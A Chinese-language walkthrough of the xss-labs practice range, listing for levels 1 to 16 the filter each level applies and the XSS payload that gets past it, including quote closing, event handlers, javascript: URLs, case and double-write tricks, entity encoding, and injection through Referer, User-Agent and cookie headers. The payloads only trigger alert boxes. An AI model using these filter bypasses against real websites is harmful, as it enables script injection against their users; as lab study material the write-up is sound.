#xss-labs 靶场通关记录

xss-level1

通常的xss 都是出现在输入框中,这关并没有发现。看url 发现name 参数接受了值尝试更改值。

发现这个参数是可控的,并输出了结果到页面上。插入xss payload

<script>alert("xss")</script>

xss-level2

插入payload无法弹窗,查看源码发现需要闭合。

"><script>alert("xss");</script>

xss-level3

发现被html 实体化编码了,导致无法xss.

htmlspecialchars()绕过

php 自带的htmlspecialchars() 函数可以对用户输入的值进行html 实体化编码。在 8.1.0 及以上的 PHP 版本中,这个函数默认会转义 <>&'" 这五个字符,基本可以防范这里的 XSS 攻击。
但是,8.1.0 以下版本的 PHP 默认只会转义 <>&" 这四个字符,不会转义单引号 '。这就给这个函数带来了巨大的安全隐患。

使用单引号进行闭合加上onfocus或者onmouseover 焦点事件属性

' onmouseover=javascript:alert(xss)' //onmouseover 将鼠标指针移动到图像上时调用函数:
' onfocus=javascript:alert(1) ' //onfocus 当输入字段获得焦点时调用函数:

xss-level4

把< 过滤空格,没有过滤”

" onfocus=javascript:alert(1) "

xss-level5

script onfocus 都被过滤掉了。

使用a 标签中的 href 属性加载javascript 代码。

payload: "><a href="javascript:alert(1)">xss</a> //javascript:alert(1) 伪协议

javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

xss-level6

使用上一关的a 标签 href 被过滤掉了。使用大写进行绕过

"><a HREF="javascript:alert(1)">xss</a>

xss-level7

script 被替换为空,可以尝试双写绕过

"><scscriptript>alert("xss");</scscriptript>

xss-level8

输入的值被加入到href 标签中了。对于这种跳转的url 链接可以使用 javascript 伪协议 执行js 代码

可以发现javascrtip 标签被过滤了

查看源码。

发现是先接受用户输入的值在进行html 实体编码。如果先把payload 进行实体化编码,就不会经过htmlspecialchars 函数。然后服务器再把html 实体化进行解码。

<?php
// 假设 $input 是从客户端传递过来的经过 HTML 实体编码的数据
$input = '&lt;script&gt;alert(&quot;XSS Attack!&quot;);&lt;/script&gt;';

// 使用 htmlspecialchars 进行处理
$output = htmlspecialchars($input);

// 输出结果
echo $output;

// 输出结果为:&lt;script&gt;alert(&quot;XSS Attack!&quot;);&lt;/script&gt;
// 即已经是经过 HTML 实体编码的数据,不再进行处理
payload:  &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;

xss-leve9

匹配了http:// 所以输入payload 会提示链接不合法,其他源码和上一关一样。只需要使用// 注释掉http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;//http://

xss-level10

从页面插入payoald 发现并没有任何的漏洞。实际上是隐藏字段,查看源码即可

发现了三个字段,测试哪个字段可以输入

?keyword=test?t_link=tlink&t_history=thist&t_sort=tsort

t_sort 字段是可以被接受值的。input 标签可以使用聚焦类的属性测试

"  type="text" onfocus=javascript:alert(1)//         因为字段是隐藏的没有可以聚焦的组件,只能该变类型。// 注释掉

xss-level11

从第10关过来之后,点开源码可以发现多了一个t_er 字段用来获取用户来源地址。

<form id=search>
...
<input name="t_ref" value="http://localhost/xss-labs/level10.php?keyword=test&t_sort=%22%20onmouseover=javascript:alert(1)%20type%20%22" type="hidden">
</form>

和sql 注入类似的 REFERER 注入。这里需要闭合” 和上一关类似。修改feferef 头即可

" type="text" autofocus onfocus=alert(1)//

xss-level12

UA 头中可以进行xss和上一关一样。修改UA头即可。

" type="text" autofocus onfocus=alert(1)//

xss-level13

获取cookie 说明cookie中存在xss. 修改cookie 即可

" type="text" autofocus onfocus=alert(1)//

xss-level15

ng-include,ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。

类似文件包含,那么可以直接包含第一关的文件,没有过滤还可以传入参数。

?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

xss-level16

script 和 / 都被过滤掉了

空格被过滤可以使用 :%0a %0d

<a%0dhref="javas%0acript:alert("1")">xss

ps: 后面几关需要用到 flash ,但flash已被淘汰

总结:

xss 不同标签有不同的触发方式。除了常见的 见框就插的方法,xss还会出现在feferef ,UA ,cookie 中,和sql 注入相似。

xss 过滤了 空格可以用**%0a** %0d 代替 还有双写 大小写绕过。对于URL 跳转的方式javascript伪协议